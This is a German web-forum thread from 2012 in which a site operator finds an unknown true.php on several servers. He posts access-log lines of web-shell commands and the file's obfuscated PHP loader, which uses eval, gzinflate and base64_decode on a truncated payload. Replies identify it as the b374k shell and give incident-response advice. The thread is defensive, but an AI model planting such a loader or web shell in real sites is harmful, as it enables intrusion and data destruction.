Ron: true.php - plötzlich fremde Datei auf dem Server

Hallo Miteinander,

wir haben ein akutes Problem an den Backen...

Auf unserem Server befindet sich plötzlich eine Datei namens true.php über die anscheinend ungewünschte Aktionen ausgeführt werden.
Wie die dahin kommt, keine Ahnung...

Hat jemand ebenfalls damit schon zutun gehabt?

Diese Datei taucht plötzlich sogar auf verschiedenen Servern von uns auf.
Auf einem Server wurden sogar alle Dateien von allen Projekten gelöscht.

Das dies auch mit der true.php-Datei zu tun hat, kann ich nur noch anhand der Log-Datei sehen....

Beispiel aus der Log-Datei:

Die &&& habe ich eingefügt, damit keine Internas im Netz stehen...

85.25.6.85 - - [03/Apr/2012:17:31:09 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=mysql HTTP/1.1" 200 1515 "http://www.&&&&&&.de/true.php" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"  
85\.25.6.85 - - [03/Apr/2012:17:31:10 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=phpinfo HTTP/1.1" 200 9381 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=mysql" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"  
85\.25.6.85 - - [03/Apr/2012:17:31:14 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=netsploit HTTP/1.1" 200 1775 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=phpinfo" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"  
85\.25.6.85 - - [03/Apr/2012:17:31:16 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=upload HTTP/1.1" 200 1684 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=netsploit" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"  
85\.25.6.85 - - [03/Apr/2012:17:31:19 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=shell HTTP/1.1" 200 1434 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=upload" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"  
85\.25.6.85 - - [03/Apr/2012:17:31:21 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=php HTTP/1.1" 200 1414 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=shell" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"  
85\.25.6.85 - - [03/Apr/2012:17:31:23 +0200] "POST /true.php?y=/var/www/web&&&/html/&x=php

Die letzte Aktion war diese:

  
85\.25.6.85 - - [03/Apr/2012:17:33:57 +0200] "POST /true.php?y=/var/&x=shell HTTP/1.1" 200 1405 "http://www.&&&&&&&&&.de/true.php?y=/var/&x=shell" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"

Danach erscheint nur noch 404, d.h. keine Dateien werden mehr gefunden, alle Ordner auf dem Server sind leer...

Der Code der true.php sieht folgendermaßen aus:

<?php  
  
// O_O  
// no malware on this code, you can check it by yourself ;-)  
  
@error_reporting(0);  
@set_time_limit(0);  
  
$code = "7T37W+O2sr/f77v/g+vDKaGEPHmFQLpJSCC8AklIgN1+HMd2YhO/sJ3n3v7vVyPJtuw4Abbb9pzT  
0i7Y0mhGGs2MXqPx//6POkiojiO7iY3ns1rn86akbf6yxf34I8cmcD+ccDy/tfWV2xiomsydcExm  
kSQuUOoneHgeyu6zaBqubLhOAudtFTlFFiTZTvBVkrHjzi35iBMsS1NFwVVNI22KruzuOK4tCzof  
U0KTjaGrHHF8CsGgF4J6sRUDKqmOZToqoEU0XFcQFR2lFzkoYQi6fPKF51N9wcEvtI4p/gtfBMKy  
qJi0TehlpqJyv3Ky5sjLvBouVGuJXyRxDc8IAMO34UI2RFOSEysZGNPIDnCQZeBsBxB/Mf4c5qWG  
i3X8i/JO1YeIcYg7n8z+s6jJgpFARTckxA1dGKpi3zR1D3aOIIFbAQ9xaZSkGpD4CTFMRaVkR12g  
CkmpjQHAyzMXZcozSwPWbgySfIoP0uHPZ9EcG6hK6HFrJ4sQfooXUz4FlD7zuqrLPNQlgEPckXeg  
s2xTO+KscR91B89C1GaWassOIJEEV07wNp/UR6i+ciKThP+y6L9cJp/Z2lqDWBdmO6iBJ3wqsZ/5  
  
.....  
  
fEMyWK946wo6C3ZkBB2eZ4Pt4OHgNZhmRyCqfKka5HkzcO6dO40BX3xGVPBLZJ8RreT49WHyvNia  
v5OsNW4/3Nuqtb6bEwm0zJGNSWKzVbtudmrP5dPTFhjqn7lVOUdcgs/mDlIZ9F+Wh431VSL6Larh  
2ft3Sud3FMz1K9zfQzBjxZAOwH6rqcGLWxX+u8nn77Nn8pHNkhIajj5eBdYzNLYKdCrn0eaCShT9  
GYeXVkz5dfQW5tzfWyp/ypZKMN36LnsqS5r0b7KrgkMff0MYXRI5+Xc5ugSRMg1t/rFIup/wlDIU  
P9ebKb5xxBlqJHYRwDz9ngeey0YidNr58ZPNFZF4Yw8333uEyS2H2SVOSRHR8RKZeAfhc3sPIFic  
Bl8fjZPNQSyZwTKdT7YO3hw2XZmEwZKnjVat2mm2Hp/btdtyq4wet1bS1EcIU4QiTWPaRU/ryKfj  
Q0BwfX1EXEu8T4h6HtIrnE7YaOlULonWEpdnCEoPn9fh/h8=";  
  
@eval(gzinflate(base64_decode($code)));  
  
?>

Der ganze Code beträgt ca. 190 Zeilen.
Ich kann ihn hier nicht posten, da mir geschwätzigkeit unterstellt wird ;)

so wie ich das sehe, wurde auch die htaccess ausgetauscht.

Den Code dieser htaccess kann ich gerne auch hier Posten.
Vorerst aber erstmal soweit diese Infos, sonst wird der Post zu lange...

Über Hilfe würde ich mich freuen.
Bin gerade ein bisschen überfordert mit dem was hier los ist.

Gruß Ron

  1. Moin!

    wir haben ein akutes Problem an den Backen...

    Auf unserem Server befindet sich plötzlich eine Datei namens true.php über die anscheinend ungewünschte Aktionen ausgeführt werden.

    Ja, irgendwo auf deinem Server ist eine Sicherheitslücke, die diesen Angriff erlaubt.

    Finde die Lücke und schließe sie.

    Schritt 1: Ändere alle Passwörter, die Zugang zum Server verschaffen, auf zufällige Werte mit MINDESTENS 10 Zeichen Länge. Keepass wäre ein geeignetes Programm zur Erzeugung und Verwaltung von deinen Passwörtern.

    Schritt 2: Analysiere, wie diese Datei entstanden ist. Sichere sämtliche Serverlogfiles extern (downloaden) und analysiere sie. Parallel wäre ein Codeaudit nicht verkehrt, angefangen mit der Prüfung, ob für die eingesetzten Versionen verwendeter Software und -bibliotheken Sicherheitslücken berichtet wurden.

    - Sven Rautenberg

    1. Hello,

      Schritt 2: Analysiere, wie diese Datei entstanden ist. Sichere sämtliche Serverlogfiles extern (downloaden) und analysiere sie. Parallel wäre ein Codeaudit nicht verkehrt, angefangen mit der Prüfung, ob für die eingesetzten Versionen verwendeter Software und -bibliotheken Sicherheitslücken berichtet wurden.

      Dazu schaue Dir insbesondere alle Zeilen an, die kein GET enthalten, sondern vermutlich POST.

      Es ist auch wahrscheinlich, dass ein nicht vernünftig abgesichertes Upload-Modul für Bilder, Dateien o.ä. für die Lücke verantwortlich ist.

      In welchem Verzeichnis / welchen Verzeichnissen wurde denn diese true.php gefunden?

      Liebe Grüße aus dem schönen Oberharz

      Tom vom Berg

      --
       ☻_
      /▌
      / \ Nur selber lernen macht schlau
      http://bergpost.annerschbarrich.de
      1. Danke für eure Antworten...

        Das Uploadscript ist wohl ein kleines einfaches CMS das auf Text-Dateien basiert.... mit welchem man auch bilder hochladen kann.

        Ich bin mir gerade nicht sicher ob das CMS ohne Passwort aufgerufen werden konnte. Würde das sicerheitstechnisch ausreichen? Also das das Script in einem per htaccess PAsswortgeschützten Bereich liegt?

        Das true.php-Script liegt auf der obersten Ebene...

        In dem CMS-Script befindet sich im Ordner wo man die Bilder hochlädt eine php-Datei die von meinem Rechner als schadhafter Code identifiziert wird.
        Über diesen Code wurde die true-Php-Datei hochgeladen?

        Ich habe die True-Php-Datei mal ausgeführt und siehe da, ein schönes Tool kommt zum vorschein.

        Habe mal nen Screeshoot davon gemacht.

        http://www.abspacker.de/beispiel.gif

        NAtürlich internas übermalt...

        Gruß Ron

        1. Hallo Ron,

          Ich habe die True-Php-Datei mal ausgeführt und siehe da, ein schönes Tool kommt zum vorschein.
          http://www.abspacker.de/beispiel.gif

          das ist die b374k-Shell.

          Freundliche Grüße

          Vinzenz

        2. Ich bin mir gerade nicht sicher ob das CMS ohne Passwort aufgerufen werden konnte.

          Das solltest Du Dir aber sein.
          Welches CMS übrigens. Vielleicht hat der die Angreifbarkeit längst erkannt und ein Update bereit gestellt?

          Ich befürchte der Server muss eventuell neu installiert werden - Es gab neulich z.B. auch einen Bug in einigen Linux Kernels, da konnte ein gewöhnlicher Benutzer sogar leicht Root-Rechte erhalten:

          http://www.heise.de/security/meldung/Linux-Root-Rechte-durch-Speicherzugriff-1419608.html

          Wenn derlei geschehen ist, dann ist auf dem Server nichts mehr sicher.

          Du solltest sicherheitshalber den Support Deines Hosters informieren.

          Fred

    2. Schritt 1: Ändere alle Passwörter, die Zugang zum Server verschaffen, auf zufällige Werte mit MINDESTENS 10 Zeichen Länge. Keepass wäre ein geeignetes Programm zur Erzeugung und Verwaltung von deinen Passwörtern.

      Sollte Schritt 1 nicht sein, den kompromittierten Server vom Netz zu nehmen? Wer weiß, welche Privilegien der Angreifer mittlerweile besitzt. Selbst wenn es nur die Remote-Console über HTTP ist, sollte doch der HTTP-Daemon sofort abgeschaltet werden?

      Mathias